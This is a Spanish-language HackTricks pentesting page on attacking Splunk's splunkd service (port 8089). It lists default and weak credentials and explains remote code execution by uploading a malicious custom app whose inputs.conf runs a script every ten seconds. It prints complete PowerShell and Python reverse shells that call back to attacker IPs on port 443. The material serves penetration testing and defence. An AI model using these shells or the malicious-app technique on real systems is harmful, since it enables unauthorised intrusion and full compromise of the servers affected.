8089 - Pentesting Splunkd
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Información Básica
- Herramienta de análisis de registros utilizada para la recopilación, análisis y visualización de datos
- Comúnmente utilizada en monitoreo de seguridad y análisis de negocios
- Puertos predeterminados:
- Servidor web: 8000
- Servicio Splunkd: 8089
Vectores de Vulnerabilidad:
- Explotación de la Versión Gratuita
- La versión de prueba se convierte automáticamente en versión gratuita después de 60 días
- La versión gratuita carece de autenticación
- Riesgo de seguridad potencial si se deja sin gestionar
- Los administradores pueden pasar por alto las implicaciones de seguridad
- Debilidades de Credenciales
- Versiones más antiguas: Credenciales predeterminadas
admin:changeme
- Versiones más nuevas: Credenciales establecidas durante la instalación
- Potencial para el uso de contraseñas débiles (por ejemplo,
admin
,Welcome
,Password123
)
- Oportunidades de Ejecución Remota de Código
- Múltiples métodos de ejecución de código:
- Aplicaciones Django del lado del servidor
- Puntos finales REST
- Entradas scriptadas
- Scripts de alerta
- Soporte multiplataforma (Windows/Linux)
- Las entradas scriptadas pueden ejecutar:
- Scripts Bash
- Scripts de PowerShell
- Scripts por lotes
Potencial Clave de Explotación:
- Almacenamiento de datos sensibles
- Falta de autenticación en la versión gratuita
- Múltiples vectores para potencial ejecución remota de código
- Posibilidad de aprovechar entradas scriptadas para comprometer el sistema
Shodan
Splunk build
RCE
Crear Aplicación Personalizada
Splunk ofrece un método sofisticado para la ejecución remota de código a través del despliegue de aplicaciones personalizadas, aprovechando sus capacidades de scripting multiplataforma. La técnica de explotación central gira en torno a la creación de una aplicación maliciosa que puede ejecutar shells reversos en sistemas tanto Windows como Linux.
Una aplicación personalizada puede ejecutar scripts de Python, Batch, Bash o PowerShell. Además, Splunk viene con Python instalado, por lo que incluso en sistemas Windows podrás ejecutar código python.
Puedes usar este ejemplo con el bin
que contiene un ejemplo para Python y PowerShell. O podrías crear el tuyo propio.
El proceso de explotación sigue una metodología consistente a través de plataformas:
splunk_shell/
├── bin (reverse shell scripts)
└── default (inputs.conf configuration)
El archivo de configuración crítico inputs.conf
habilita el script mediante:
- Estableciendo
disabled = 0
- Configurando un intervalo de ejecución de 10 segundos
- Definiendo el tipo de fuente del script
El despliegue es sencillo:
- Crear el paquete de aplicación maliciosa
- Configurar un listener (Netcat/socat) en la máquina atacante
- Subir la aplicación a través de la interfaz de Splunk
- Activar la ejecución automática del script al subir
Ejemplo de shell reversa de Windows PowerShell:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
Ejemplo de shell inverso de Python en Linux:
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
RCE y Escalación de Privilegios
En la siguiente página puedes encontrar una explicación de cómo este servicio puede ser abusado para escalar privilegios y obtener persistencia:
Referencias
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.